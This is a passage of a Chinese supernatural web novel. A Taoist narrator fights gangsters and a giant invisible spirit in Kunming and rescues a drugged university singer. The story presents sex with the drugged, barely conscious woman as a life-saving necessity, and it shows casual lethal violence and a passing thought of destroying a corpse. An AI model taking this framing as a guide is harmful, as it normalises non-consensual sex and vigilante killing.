黄川瞥了我一眼,看上去有难言之隐,但还是说道,“这人啊,邪门,忒邪门。我的几个朋友,那都是当地的翘楚,结果跟他合作过,最后都死了。前段时间他还跑我们这来贷款子,我看不上他,没给他贷。然后我们这的一个男业务员,就跟他接触过,没多久人就没了。吓得我好几天都不敢出门。”
听了黄川的话,我突然意识到了啥,我说,“老哥,这些人是不是都跟王福的秘书接触过?”
黄川眼前一亮,朝我点头,“对,是有这么个女人。当时王福还说了些奇奇怪怪的话,说把他老婆介绍给我呢。我觉得恶心,没给他好脸色。后来我听那男业务员说,王福说的老婆就是他带来的秘书。长相嘛,挺好看的,我说实话,我也看了,有点着迷。”
黄川一边回想,一边跟我说,倒像是个老实人。
我眯了眯眼睛又问,“老哥,这些人死的样子你都见过吗?是不是那种身躯干瘪,就跟抽抽了一样?”
黄川疑惑,“老弟,你咋知道的?确实,但……抽抽是啥?”
我说,“东北话,就是脸部褶皱,像是脂肪被吸干了似的。”
他说,“对,就是这样。几个人的葬礼我都去了,就抽抽,就是抽抽。”
黄川拿着手指连连抖动,随手点了一支烟,用力地点着头。
我深吸一口气,看来我想的没错了,我见这女人的第一眼,只是觉得这女人有点异样。但并没看出不妥之处。
跟这黄川聊过之后,我大致明白了咋回事。
这女人!
不!
不一定是女人!
应该说……它!
吸阳!
见我没说话,黄川有点急了,“老弟啊,到底咋回事啊。哎,我这几个朋友,是不是死得不正常?是不是那王福搞的鬼?”
我看了一眼黄川,对这个人好感多了些,我笑着说道,“老哥,你捡了一条命,他们是被吸阳了,咋说呢,就是精尽而亡!”
……
第一百三十二章酒吧遇老乡
黄川也是见多识广的人,很快就反应过来,下意识地提臀并腿,“老弟,你的意思是说,我那几个朋友,还有我银行的男员工的死,都跟王福的女秘书有关?”
看着黄川抽烟的手都跟着抖,我没隐瞒,点了点头,“应该就是了。老哥你因为不好色,躲了一次灾。”
说完,我也眯眼沉思,这女人它还真厉害,居然弄死了这么多人?
但我也奇怪,王福呢?为啥能活着?
小队被骗到牢山找人参憋宝的事,会不会跟这女人有关系呢?
我深吸一口气,随后内心摇了摇头,事情已经过去了,跟我没关系了。她只要不来找我麻烦就行。
我喝了口茶,瞥了一眼黄川,此刻,他额头上全是冷汗,眼神复杂。
显然是被我的话给吓到了。
半天,他才开口说,“哎,多亏遇到老弟了,我也算是走运。不瞒老弟,上午她还来这办业务呢,后来接了个电话,火急火燎地走了。这事,我真得防备。”
说完,又看向我,“老弟,那女秘书到底是个啥东西?这种事我也听说过,是狐狸吗?”
我摇头,“老哥,这个我就不清楚了,我也是刚才就见过这女人,她被我的道器所伤,所以我才觉得她有问题的。”
黄川眼前一亮,“老弟,那道器还有吗?”
我随手拿出了四个道器吊坠,“还有,就这四个了。”
黄川急忙拿过去看看,他似乎看不懂,但是还说好东西,但接着又露出了难言之色。
我不是啥大度的人,但我觉得一个吊坠认识个银行主任很值。
“老哥,这个送你了,这是个有治疗效果的道器吊坠。戴在身上,延年益寿,健康长寿。”我随手把吊坠都拿了回来,然后递过去一个有治疗作用的吊坠。
“这,太贵重了。老弟,老哥就收着了,以后来当地,要是有啥事,老哥保证竭尽全力。”黄川倒是实在,没说些冠冕堂皇的话,急忙就戴在了身上。
就在这时,银行里的业务员敲响了门,说是黄金已经存好了,给我送单据。
我看了一眼单据,收在了怀里就打算走。结果黄川却说啥不让我走,还说接下来我住多久,他给我安排多久。
难得出一次远门,我也就答应了。之后我在路边的电话亭给家那边打电话,说了下情况。我娘接的电话,得知我暂时不回去,她倒是没啥反应,似乎习惯了。
随后,她跟我说钱冬梅给家里打电话了,说是在找我,说是给我三万块报酬。我听完就明白了,刚进小队的时候,曹俊就说给我分钱。
这人倒是信守承诺呢。
不过我也没太在意,九六年的三万块确实不是一笔小数目,但眼下我揣着几百万,三万块也就不太在意了。等下次碰到再说吧。
挂断电话,我就听了黄川的安排,他直接在昆市最大的酒店给我租了奢华套房。
然后中午请我吃的昆市特色美食,野生菌锅。这玩意在我眼里就是蘑菇,但我们东北那蘑菇种类不多,这边各式各样的。
本来我还在想,菌子能有啥特别的。但吃到嘴里,真的特别鲜。
安排完了菌子锅,晚上又给我安排了昆市的一大特色,一家名叫骆驼的酒吧。
酒吧在一个叫做鸡坊的地方,这是一块牌楼,很有年代感。四周似乎正在建设,一半现代化,一半红砖瓦房,确实很有特色。
长这么大,我还是第一次来这种地方,说实话,没进来之前,我觉得这地方跟我们那舞厅差不多。但进来之后,我觉得差多了。
东北舞厅歌厅,那都是在我们当地有头有脸的人玩的,但玩法单调,无非就是男男女女搂搂抱抱。但这酒吧却不一样,里面虽然也是灯红酒绿的,但来的人年轻人居多,还有乐队注入,很有格调。
我这边,黄川开了卡台,跟随千元的酒水,丰富的水果捞一同上来的还有两个年轻妹妹。
她们带着兔女郎耳朵挂饰,穿着性感,分别坐在了我两边,上来就叫小哥哥,说起话也是滑滑嫩嫩的,声音好听。
“老哥,这是……”两个妹妹长得不错,但我却对她们不太感兴趣。
倒不是我装,而是因为我能闻到她们身上的一股味道,咋说呢,这种味道很杂,应该是各种男人的味道,闻起来有些腐臭。
所以我觉得有点不舒服。当然了,黄川人家是好心,我也没推开。
“哈哈哈,老弟啊,老哥这不是给你找点乐子嘛。老哥可是欠你一个大人情,都不知道咋还。”黄川笑道。
我笑了笑没说话,虽然跟两个女人贴得很近,但还是保持了一定的距离。
“卧槽,黄老弟,有些日子没见了?来这玩,也不跟我打声招呼?是不是不给哥们面子?”年轻女人给我倒酒,我也不客气地喝酒,随后两个姑娘跟我亲近,我也不客气的动手。
这俩女人是把我当成愣头青了,居然想挑起我的火热。
但结果就是,老子技巧熟练,没到三分钟她们脸色潮红,然后全都跑厕所去了。
黄川看的一愣一愣的,刚想说些啥,几个壮汉突然走了过来。走在前面的四十来岁,国字脸,一个男人留着长头发,还带个墨镜。
他穿着大花布衫,大花裤衩,踩了一双拖鞋,口音是我们东北那的。
“果哥……”黄川急忙站了起来。
闻言,这个叫果哥的很满意,但看到我还在那坐着,脸色变了变,不爽的说道,“曹尼玛的,哪来的小年轻,我站着,你敢坐着?知道我是谁不?黄川,你特么带来的啥人?不懂事啊?”
黄川狠狠地咽了口吐沫,“果哥,这是我朋友,从北方来的,还是你们老乡呢,龙省的。和气生财,生气生财。”
我皱了皱眉头,从小到大,没素质的人我见多了,也习惯了。但别跟我没素质。
我也没惯着,冷冷地说道,“曹尼玛的,嘴干净点。装你妈呢?小比崽子!”
骂人?
谁不会?
在我们修道这,这叫一吐为快。
我这话一出口,侯果他们这群人都安静了,一个个面面相觑的,有点不可置信。
侯果把耳朵侧了过来,然后问我,“你是在骂我?”
我冷漠道,“小比崽子,就是在骂你?你没听错。”
“艹!弄他!”
确认我骂的是他,侯果面红耳赤,从兜里掏出刀子就朝我身上扎。
其他几人也都拿着酒瓶子轮了过来。
灵犀一指!
点穴!
……
第一百三十三章脚跟不着地
几人都不是善茬,出手老辣,动手就是奔着把我弄伤弄残。
然而,他们的动作在我眼里破绽百出,我坐在那,一只手拿着酒杯饮了一口,另一只手朝着他们就点了过去。
动作犀利,点在几人的脉络穴位上,他们直接动弹不得。
“咋,咋回事?果哥?老弟,他们这是咋了?”见到这一幕,黄川站不住了,一脸的不知所措。
“你,你是啥人,对我大哥做了啥!”侯果身后的几人也都蒙了,手里握着家伙事,硬是不敢上。
我没理会侯果的小弟,而是看向黄川,“老哥,这些人有点没礼貌,我给他们点穴了,一时半会动不了。来,喝酒。”
闻言,黄川震惊道,“点穴?那不是电视里的东西吗?老弟,你会点穴?”
我笑道,“懂一点。”
黄川看着侯果几人,虽然坐了下来,但是有些不放心地说,“老弟,这事就过去吧。果哥,果哥应该也不是故意的。和气生财,和气生财。”
黄川说完在桌子下面给我比划了一个‘八’的手势,小声地在我耳边说,“他们有枪,算了吧。”
我没说话。
我心里很清楚,黄川是怕侯果事后报复。但我觉得,梁子已经结下了,现在就算放了对方,以这人那冲动的性格,事后越会报复。
倒不如把他整**!
一了百了!
“艹,哪来的比崽子,你想死?还不把我果哥放了!”侯果的小弟又有人说话了,这次是个纹身男,但凡能看到皮肤的地方,清一色刺青。
此刻,他手里拿着一把自制的**,**已经上膛了。
砰砰。
他朝着酒吧上空就开了两枪。
原本热闹的酒吧,突然就肃静了。
我皱了皱眉头,对方能弄来这些家伙,看来这事真不能善终了。
我也不废话,拿起桌上的酒瓶子就砸向了侯果的脑袋。侯果翻了翻白眼,被我点了穴,浑身僵硬,他疼,但是他却说不出话。
“你!艹!”拿枪的那个小弟浑身颤抖,显然没想到我还敢动手。
砰!
我又拿起一个酒瓶子,又砸到了侯果脑袋上。
“别,哥们,别动手了,我不敢开枪。你想咋样?才能放了果哥?”那小弟语气软了。
“我没打算放了他。”我眯了眯眼睛,看到侯果那浑身的经络穴位,在那死穴上猛地穿过去。
“啊啊啊!”侯果能动了,惨叫声不断,他猛地吐了口血,浑身瘫软在地上,一动都不敢动,死死地盯着我。
半天。
他才喘了口气,惊恐地看向我,“你,你对我做了啥。你会妖法,你是妖怪。”
看着有些疯癫的侯果,我淡淡地说道,“准备后事吧,你还有两天的活头,两天后的这个点,你就**。”
我没有吓唬侯果,我之所以没直接杀了他,是因为这地方人多嘈杂,我不想引来不必要的麻烦。
至于两天后嘛,这事就算传出去,估计没啥人信。
“你,尼玛的,你给我等着哈。两天后我要是死不了,我杀你全家,还有你黄川,我也杀你全家。”
侯果放下狠话就走了,我也没拦着,两个妹妹又回来了。
倒是黄川,吓得坐立不安。
我说,“老哥,放心吧。他活不成了。至于那些人,他们也不敢报复你的。等着侯果一死,他们就都老实了。”
树倒猢狲散,这话用在社会大哥身上最好用。这些混社会的,看着都挺猛,但出了事,跑的比谁都快。
刚才那个开枪的,算是有点情义的了。但他最后也没敢跟我动手。
所以说,侯果的这些兄弟,也就能撑场面,不敢把事闹大。
还有就是我这点穴的功夫,想**,也得掂量掂量。
虽然我这样说了,但是黄川还是害怕,全程赔笑,看上去惶恐不安。
我没在说话,随着酒吧里恢复了秩序,我搂着两个妹妹,一双手如游龙,时不时地抖两下。
弄得两个妹妹都软在了沙发上,两人又跑厕所去了。
黄川看得一愣一愣的,欲言又止。看得出来,他想跟我学点本事。但不好意思,这玩意都是悟性,没法教。
我们卡台离舞台很近,舞台上是一支完整的乐队正在演唱,主场是个漂亮女人,唱的是一首粤语歌《**》。
本来我听得正入迷呢,但我却觉得主场那女主唱有些不对劲。
咋说呢。
她全程都点着脚。
脚跟不着地?<
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br>我运转道力,双眼用力,再次看了过去。
我倒是没有在女人的身上看到东西,但我却看得更清楚了,女人这哪里是点着脚,而且也不只是那后脚跟不着地,她那一双脚压根就是腾空的。
“老弟,你看上这黄花菜乐队的主唱了?”就在这时,沉默了半天的黄川突然说道。
“额……”我愣了一下,瞥向了黄川,这也是发现了,这家伙也是个骚包啊。
我看人家一眼,就成了看上这女人了?
见我没说话,黄川笑眯眯地说道,“老弟啊,这女人可不好搞定的。不只你看上了,起码四五个老板都在打她的注意。但最后都被泼了冷水。”
闻言,我笑着说道,“老哥,你不怕了?”
黄川倒是实在,“怕,还是怕的。但我一个银行主任,要是没点胆子也不行。实在不行,我就跟朋友打声招呼,派人保护我。”
我笑了笑说道,“既然这样,那我跟老哥说点你害怕的事吧。”
黄川奇怪,“啥?”
我指了指台上的那女主唱说道,“老哥,你看看那个女主唱有啥问题。”
黄川疑惑,但还是看了过去,“好像没啥问题吧,长得好看,二十岁,真嫩啊。我要是。”
不等他骚包完,我说,“你看她脚。”
我之所以在这黄川面前露了一手又一手,其实我有我的打算。
道器吊坠都送了,也不差露点本事。这样以后利用他办事会更方便。
该低调低调,该高调高调。而不能一味的高调,或是一味地低调,那就有些榆木了。
黄川喝得迷迷糊糊的,手里拿着酒杯,摇摇晃晃地看了过去。
但随后,我看着他的神色有点僵硬,他下意识地挪动了屁股,往我这边靠了靠,指着那女人的鞋子说,“老,老弟,她,她脚跟不沾地,我,没看错吧?”
我笑着说道,“老哥,你在仔细看看,那不是脚跟不沾地,而是一双脚都没在地上。”
说着,我也认真了起来。
“啊啊啊!呕!”黄川还真仔细看了,结果就是吓得浑身抽搐,趴在桌子上吐了起来。
整整两分钟,他才面色惨白道,“鬼,鬼上身,上身了。”
……
第一百三十四章恐怖生物
对于黄川害怕到呕吐的反应,我见怪不怪了。他是人,见到这种事要是不害怕,那倒是有点奇怪了。
我没说话,冷冷地看着舞台上女人的表演,这女人声音沙哑动听,惹得全场连连喝彩,一些男人的眼睛都快飞到她面前了。
然而,此刻的我无暇顾及这些,我也是第一次碰到脚跟不着地这种事,我在想,这女人到底招了啥东西?连我运转道力的眼睛都看不到?
“老弟,这卡台我跟前台说了,钱算我的,老哥有点不舒服先走了。”黄川吓得国字脸惨白,跟我打了声招呼,捂着嘴边呕边走。
我瞥了他一眼离去的身影,心思没在他身上,等那女人演唱后休息,我突然想起了王薛当初指点我的话。
后来我还特意的去找相关方面的事,还真就在道德经第十四章里找到了王薛那番话的出处。
有几行字,对于人死为鬼,鬼死为聻等等做出了解释。
视之不见,名曰夷;听之不闻,名曰希;搏之不得,名曰微。
我所理解的,夷是看不到的,希是听不到的,微这种生物是摸不到的。
难不成!
这女人是被‘夷’给缠上了?
我越想越有可能,但这件事貌似超出了我的能力范围,聻我能对付,希虽然听不到,但能看得见的话我也能试试。
这看不见碰不到的东西我也没辙。
我深吸一口气,该喝酒喝酒,结果两个妹妹又带了四五个妹妹来我这,说是要跟我较量个高下。我来者不拒,结果就是她们要么喝得东倒西歪,要么是脸色潮红东倒西歪。
看着她们不太行,我叹了口气,然后就准备回去睡觉了。
“呕呕……”刚出酒吧,我就看到酒吧门口那个女主唱蹲在那吐个没完。
她倒不是像醉的,更像是吃了不干净的东西在那吐。
接着我就看到乐队的其他几个人收了一个男人的钱,那男人约莫四十来岁,光头,凶神恶煞的。
他手里拿着一万块,正往乐队敲鼓的手里塞。
额?
竟然碰到了这种肮脏的交易?
就算我没干过这种事,也知道发生了啥,这乐队的女主唱,被他们乐队的成员给卖了。
然而,我并不想管,因为我不想掺和别人的因果。径直的就要走。
“救,救我。”结果,这女人不知道哪里来的力气,突然扑在了我身上。
我看了看她,那侧脸是真漂亮,清清纯纯的,像是个女大学生,像黄川说的那样,这女人是真的嫩啊。
救她?
这个我真没想过。
倒不是我冷漠,而是我不是啥救世主。还有就是这女人脚跟不着地的事,鬼知道救了她我会不会被牵连。
“哪来的野狗,滚开。”那光头直接骂我,眼神凶狠,用力的推了我一下。
见我纹丝未动,他直接掏出了枪,顶在了我脑门上,“滚不滚?”
我皱了皱眉头,我本以为黑城那乱,但来了云省我发现,这地方更狠,动不动就掏枪的。
被人威胁,我没有任何废话,一把抓住了光头的手腕,上下掰了掰,他都没有反应过来,拿枪的手被我给废了,耷拉在手腕上。
“啊!”光头疼得满头大汗。
我一脚踹了出去,他整个人飞出五米远,撞在了墙上,然后身子如煮熟的大虾弯曲,疼得说不出话来。
“你,你谁啊?”乐队的几个人也都傻眼了。
我横眼看了过去,“滚。”
他们见我厉害,欲言又止,我看了眼女人,还是把她带走了。
酒店离酒吧也不算远,我想着先把她安顿了再说,然后背着她往酒店的方向走。
结果,背着背着我发现了不对劲。这女人身体越来越沉,有种被山压顶的感觉。
我心中升起了不好的念头,总觉得要有坏事发生。果然,坏事真就来了。
路灯下,我明明背着的是这个女人,结果呢?我却看到了一道庞大的身躯压在我的背上。
随着影子越来越深,那道身躯越来越大,也越来越清晰。我深吸一口气,想把这女人给扔了,但她压着我,根本扔不掉。
我催动体内的道力,依旧没办法把她给扔了。
此刻我感受到背后阵阵的凉意,毛骨悚然,以至于我全身汗**立了起来,像是被抽风机抽了一样。
举步艰难。
我眯了眯眼睛,心里也有点急了。我能感觉到,再这样下去,自己肯定会
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被压死。
连道力对她都没用!
那现在就一个办法!
五雷劈死他!
我好不容易从怀里把我那武器拿了出来,然后我催动道力,轰隆,昼夜中黑云压城,电闪雷鸣。
隐约中,我看到了身旁有着一只脚,那脚巨大,脚趾都有一个成年**小。
但随着雷电的消散,这只脚又不见了。
轰隆!
又是雷声四起,闪电劈开了夜空,那脚又出现了。这次我看得清清楚楚,这只脚怎么形容呢,在雷电的作用下,它像是一根发光的铁线勾勒出来的。
像是透明的轮廓。
然而,眼下震惊归震惊,我却没有心思想太多,催动道力,五雷诀劈我自己。
轰隆!
一道雷下来,猛地劈在了我背后。
“啊!”
紧接着,我听到了叫声,但那叫声不是背后的女人,而是来自天空。
像是刺痛的咆哮。
呼!
随着叫声过后,我整个人都轻松了,我心里清楚,我应该是脱离了某种控制。
我双脚用力,一步窜了出去。等我站在前方再次催动道力,那五雷轰鸣,电闪雷鸣。
我总算看清楚那道身影了,它有百米高,看不到它的身躯,只能在雷电下看到一道如光线勾勒出的身影。
大致的是个人形生物。
它似乎很愤怒,再次把手拍了过来。
轰!
结果五雷决显威,把它的手劈了回去。
随后!
它似乎不死心,还想踩死我,这次,五雷诀的第三道雷劈了下来,活生生的把它劈得蜷缩在了地上。
轰!
第四道雷也来了!
这雷五光十色,半边城区都被照亮,雷力在空中炸动。
它这次怕了,转头就朝着天空爬了上去,最后身影消失不见了。
墙?
又是那样的墙?
这玩意真是夷吗?
但此刻,我倒是松了口气,我能感觉到,刚才差点**。
而眼下那女人,还在我背上,但她的情况似乎有点不对劲,口吐兰香,一只手在我身上游动,随后一抓。
**?
别闹!
你梦游也不能乱抓!
……
第一百三十五章偷看的小人参
我把女人的手扒拉走,但她似乎还是不老实,直接在我耳边吹起了风。
我觉得不对劲,这女人应该不是梦游,看上去鬼迷心窍的。
我皱了皱眉头,眼下这在大街上,也不好查看她的情况,还有就是那跑了大家伙,会不会在顺着那大墙爬下来?
这些都是未知数。
索性,我‘行’字步,赶回了自己的住处。等到了地方我才知道咋回事,女人被人下**了。
女人很漂亮,是那种纯天然的漂亮,在她的妆容花掉之后我发现,她还真的嫩啊。这也就二十岁左右,端正的五官,白皙的皮肤。
但我没有那种心思,脑子里想的就是先救她,把她体内的**给逼出来。
当然,我不是啥正人君子,不是因为修了道,心地就善良了,只是趁人之危这种事不屑去做。人性这玩意,跟你修啥都没关系。
在我眼里,修道,修魔,修佛都没啥区别。无非是想着长生,成仙,成佛,成魔。只是道不同罢了。
前阵子我看了本英雄传,里面有个修道的,趁着一个叫‘姑姑’的不能动弹,随心所欲了。
事后,他还成了道统的掌门人。要是按照正邪不两立来说,那这种人是不是该死?还躲了人家姑娘的身子,该死不?
夜色月越来越浓了,我又是运转道力,又是那医玉的,结果那**一点没逼出来,反而这姑娘更躁动了,一把搂住我,脱我衣服。
我急忙把她推开,咱正经人,决不能趁人之危。就在我又要尝试帮她解毒的时候,一个巴掌大的东西突然跳上了床,还吓了我一跳。
我一看,这不是踹我衣服兜里的那二百年人参吗?它要干嘛?
“你这样紫不对,她儿要死啦。”人参站在那,两条须子像是小波浪,指着这女人。
“要**?她不就是吃了**吗?你懂医术?那咋办啊?”我皱了皱眉头,有点郁闷。果然,有些事就不能做。
救了这女人,接二连三惹上了各种麻烦。今天她要是死在这,那我估计有理也说不清啊。
总不能!
毁尸灭迹?
我脑子里冒出了一个想法,要是这女人成了尸体,那我就把她拍成血雾。
“她身上有合欢花的味道,雌雄动物吃了,需要雄性动物交配。要不然的话,她会七窍流血死掉的。”这小玩意倒弄小腿,在床上来回跑。
“真的假的?”我问。
正想着,女人突然死死地搂住了我的脖子,她似乎有了点意识,跟我对视了一眼,“我,不想死,救,救我。”
说完,她面色潮红,彻底地失去了意识,全本本能地扒我衣服。
我保证,我真的对她没有一点歪心思,但她的眼睛真的开始充血了,那白皙的皮肤也有些发紫了,耳朵那已经流出了血。
我意识到这小人参说的是真话,她真会死。我这人比较简单,我看她清纯,长得漂亮,还年轻的份上,所以心软了。
反正等**也是体力活,直接拍死,不如现在用点体力,留她活着吧。
一日过后。
直到第二天中午我才醒了过来。
我发现女人醒了,她用一种犀利如刀子的眼神盯着我,用力地咬着嘴唇。
“我说美女,我昨天是为了救你,没办法的。你被人下药了,为了解你的毒,我差点没累死。”我无辜道。
我这些话说的都是真的。
在男女这点事上,我算不上啥老手,但也不是新兵蛋子。
结果,这女人给我上了一课。她的体质貌似很特殊,我们在做那种事的时候,往往都是我很主动,但这次我非常被动。
她的体质极其阴,当然,跟索菲亚的那种天生阴体还不一样,她的这种阴,是一种很玄乎的阴,就像是我无论有多大力气,在她面前都使不上来一样。
我甚至觉得昨天要不是她中招了,我根本没机会碰她。而且要不是我懂得双修,后来又通过魔修那学了点双修的本事,我现在恐怕还不会醒。
总之,这女人很特殊,特殊到让我想起了昨天那个大家伙,我认为那个就是夷,它似乎看中了这女人的身体。
所以,才有了脚跟不着地的事。
“那个是啥东西?”女人不哭不闹,面无表情,虽然还是那犀利的眼神,但给我的感觉像是她玩了我?而不是我玩了她?
看着床上那落红,
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我眯了眯眼睛,这种感觉很不好啊。
但我还是疑惑,“啥啥东西?”
女人指着床上,“我都看到了,是一个小人。它还说了救我的办法。那是啥?”
她看到了人参?
我撒谎道,“你看错了吧,除了我,啥都没有。”
结果,女人却鼻腔冷哼,“你趴在我身上大睡的时候,我就醒了。它就在那观看,还比划着啥,还说话呢。你当我傻吗?”
女人的声音很冷,问得我都有点心虚了。但通过昨晚的事,我觉得这女人很不简单。
修道有一段时间了,对于一些事我还是有认知的。我认为,绝大多数的人,都是平凡的人,所以一辈子都遇不上玄乎的事。
所以在他们眼里,不信这些东西,那是有道理的。因为没碰到啊,所以没有啊。
但有些人,一旦碰到了,玄乎邪门的事就会不断地发生。比如我,我也不想信,但这些东西会主动地找上来。
这玩意就是逆天道的后果。
我瞥了一眼女人,她身上有着清香的味道,但也多了一丝我的味道。
我说,“你是不是经常碰到邪门的事?”
她轻轻地点了点头,“是。”
我还想说什么,她突然说,“那是啥?你还没说呢?”
我这是遇到同类人了?我想了想,这次倒是直言了,“人参,开了灵智的人参。”
她愣了愣。
随后我突然意识到一个问题,我说,“你是说,它昨晚全程观看我们的事?”
女人点了点头。
我有点不爽了?一个人参**还看上了?这是把我当录像带了?
果然啊,一个主动跑过来四仰八叉躺在我手上的人参,能是啥正经人参。
“你是会驱魔吗?”她的语气貌似好了些。
“为啥这样问?”我奇怪。
“我不知道是该谢谢你赶跑那个鬼东西,还是该憎恨你夺走了我的身子。所以,我想了解一下你。”女人盯着我,说话的语速刚好,她很理智,但又貌似不是理智,而是一种克制。
因为在跟我说话的时候,她总是看向那落红,看得出来,她非常在意这件事。
……
第一百三十六章女人有个性(求月票推荐票)
说实话,这次还真是个意外。但我也没再解释,因为事情发生了,越解释越有点下三烂的感觉。
我说,“我不是啥驱魔的,我是东北看事的。”
她惊讶,“昨天那雷,是你引来的嘛?”
女人比我想象中的还要清醒。
我点头,“嗯,是我引来的。那东西是啥?”
我反问她。
听我提到这事,女人咬了咬嘴唇说,“我并不清楚,我只知道它叫夷,从我出生就能看到它。它想要得到我的身体,所以一直捉弄我。”
我无语了,那叫捉弄?
我疑惑,“那脚跟不着地?你自己也知道?”
她点头,“嗯,我知道。我能感受到它,它在捉弄我,用手把我拎了起来。它经常这样。”
我深吸一口气,有些疑惑也就解开了。怪不得她是双脚离地,而是脚跟不着地,原来是这样。
虽然女人描述得很轻松,但看得出来,它对这东西很惧怕。
“现在呢?它应该不在了吧?”没有雷力的作用下,我看不到那东西。
她点头,脸上有了轻松之色,“没了,感受不到了。它还会回来吗?”
女人问我。
我摇头,“我不清楚,我能对付它,但它也能对付我。”
我没说那家伙顺着墙爬了上去,因为我觉得没必要说。但我也很好奇,那墙又出现了,而这‘夷’居然能爬墙?
我不知道代表了啥。
我猜测,墙之上肯定有啥秘密,会不会是连接某个地方的通道?
当然,这只是个想法,因为这墙太神秘了。从北到南,我多次见到了。
女人有点沉默,随后眨巴眼睛看我说,“我该去上学了。但我有点疼,你能送我嘛?”
我奇怪,“你是个学生?”
她点头,“嗯,我叫霍真真,云省大的学生。”
我上了个大学生?这年月,大学生比金子都纯。我说,“啊,你真是个大学生啊,我连小学都没上过。”
说实话,我是第一次见到这种冷静到极致的女人,听了我的话,霍真真打量我说,“我没问你。”
我被对得半天说不出话来,然后嘛,还是送她回云省大了。
结果,这一送又有了新的麻烦,也是这女人带来的。
头一次来大学,我哪哪都好奇,给我的感觉是这样的,这地方真不错,到处都洋溢着青春的气息。
你看,时不时地就有年轻漂亮的姑娘路过。
霍真真肯定在这大学里很出名,一走一过,我就能听到有人在议论她,顺便也在议论我。
“这男的谁啊?看上去好像是个学弟?难道是学弟嘛?”
“长得挺帅的,但看上去有点土。还有点脏呢。咱们大校花,居然喜欢这种的?”
……
我这才知道,霍真真是这云省大的校花。
我说,“你在学校挺出名啊,我这路过,都得挨两句吐槽。”
我来云省的这些天,匆匆忙忙的,也没带换洗的衣服,穿的还是来时候的短袖呢。
但我倒是不脏,在酒店里刚洗过澡,我闻自己都香,这些人鼻子有问题。
霍真真还是那副表情,“我不喜欢出名,我也不喜欢这些人。”
我笑了笑,我突然发现这个女人像一个人,那就是像两年前的我。
这样看来,还真是投缘呢。
这边,我跟她到了宿舍,她说让我等一会,随后,我看着她一瘸一拐的进了宿舍,然后换了身衣服,又一瘸一拐的出来。
说是请我吃饭。
我也饿了,想着就去了学校食堂,她打了两份饭,亲手递给了我,这个举动引起了食堂的骚动,议论声四起。
接着就看到食堂门口出现了几个青年,他们火急火燎地赶了过来,然后四处看,在发现我和霍真真之后,他们就跑了过来。
我一看,这几个人我认识,这不就是乐队的那几个成员吗?
最前面的青年一米八多,长得阳光俊朗,穿着校服,皮肤白净。而这个人一出场,那些姑娘们都回头看他,眼睛里都是小星星。
我想了起来,这不就是昨天在那光头拿钱的那个青年吗?
“真真,还好你没事,我担心了一个晚上。”青年一脸担忧地说。
说实话,要不是昨晚见过
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这人的所作所为,他那关切的模样,我觉得我就信了。
这人。
是个**子。
“谢谢,但我不用你关心。”霍真真的态度很冷。
“真真,你这是怎么了?昨天你喝多了,应该不知道发生了啥事吧?”青年试探地问。
“徐杰,你是想问我被你下药之后的事吗?我记得,你们几个把我卖给了一个光头,卖了一万块。然后,我被他给救了。你们赢了,药效发作,我把他睡了。这一晚上,真爽。”霍真真暴力发言,听得我都觉得诧异。
我再想,这学校真没有这女人在乎的人了吗?
“啥!真真,你,你别开玩笑。真真,我,我不是有意的。我母亲病了,急需三千块手术费,我是被迫的。你骗我的,你一定是骗我的!是你,是你让真真这样说的,对吧!”徐杰指着我。
其他几人也说,“真真,别那么小气嘛,徐杰对你真心真意的。再说了,他那样做,也是为了我们乐队好。我们现在缺钱,你牺牲一下自己咋了?”
说话的是个女人,一米七的个头,长得倒是普普通通,但因为化妆的缘故,看上去也还行。
“就是啊,你看人家小雪,能为了团队牺牲。你咋不能呢?”团队里的一个青年劝道。
徐杰见大家都帮他说话,底气又足了,朝着霍真真的手抓了过去,“真真,你放心,就算你是残花败柳我也要你。做我女朋友吧,我保证,这辈子只爱你一个。”
霍真真嫌弃的看着徐杰,她想躲,但是没地方躲,徐杰的手眼看就抓住她的手腕了。
“艹尼玛的,哪来的脏手,你看不到你爹在这呢?当着我的面,碰我女人?狗篮子!”看到徐杰他们那副嘴脸,我实在是火大。
结果这徐杰又来抓霍真真的手,老子玩过的,那就是来老子的。我一嘴巴子抽了过去,徐杰被我抽翻在地。
呼!
这一巴掌火气下去了不少。
心里也舒服了。
结果霍真真突然凑了过来,在我脸上反复看了看,然后来了一句,“想不到,还倒是护食呢。”
……
第一百三十七章真无耻啊
霍真真歪着头,那双大眼睛扑棱扑棱地眨动,从认识这女人,我还是第一次看她笑,那是一种坏坏的笑,有点另类,但很漂亮。
她的话没听懂,我说,“狗才护食呢,你为啥骂我。”
结果我这话一出来,霍真真笑容直接没了,狠狠地瞪了我一眼。
我不知道她为啥骂我,眼下乐队的人已经把徐杰扶了起来,其他几人把我围住了。
那个小雪的姑娘指责我,“你,你,你谁啊?你咋**啊。”
我摇头,“我没**啊?”
小雪震惊地盯着我,“食堂这么多人看着呢?你敢说你没**?”
我无辜道,“不道啊,我真没**。你肯定看错了,是他要打我,然后倒在地上的了。”
那小雪无语了,“你这人咋颠倒黑白呢。明明是你……”
我一脸奇怪,“我咋了?你可不能污蔑我。我是社会好青年,热爱劳动,尊老爱幼,建设祖国的好花朵。”
噗嗤。
听了我的话,一旁的霍真真没忍住笑了出来。我无语了,这女人咋回事?这会是该笑的时候吗?
“我作证,你没**。”霍真真认真地看我,然后低头吃饭了。
“你,你敢打我。我可是云省大学的校草,优秀的学生会会长,音乐天才,你敢打我。我要把你抓进局子。”徐杰气坏了,指着我的鼻子,被我扇的那半张脸,牙槽是血,肿胀了起来。
我听得云里雾里,我说,“你弄出了一大堆的头衔,这跟进局子有啥关系?”
我觉得这个徐杰像个**,说话颠三倒四的。但有一点我看得明白,他说任何话,都是往自己有利的方面说。
“你,你打我,你就得进局子!”徐杰疼得扯了扯嘴。
我等的就是这句话,他还真说了。我说,“是吗?那你给霍真真下**,你收了光头的一万块,把她卖给对方这事?该不该进局子呢?”
胡搅蛮缠?
这招我熟着呢。
我二哥这方面的本事,比他一个未经世事的大学生强多了。他?还真不行。
我声音不大,但因为催动了道力的缘故,整个食堂都听得清清楚楚。这效果可比刚才霍真真的强多了。
果然,随后食堂就议论纷纷。
“全校都知道徐杰追霍真真,真没想到,他是这种人啊?为了钱,居然把霍校花给卖给老男人。下头。”
“啊,恶心啊。之前我就听说徐杰跟小雪上过床,还被人给抓包了。我那会还以为假的呢,现在看来是真的了。渣男。”
“我去,牛逼啊,徐杰还真是衣冠禽兽呢。以前没看出来啊。”
……
乐队的几个其他人都傻了,有的看向小雪,有的觉得丢脸不说话了。
再说徐杰,面红耳赤地上来,朝我咬牙道,“我,我没有,你少在这胡说八道。”
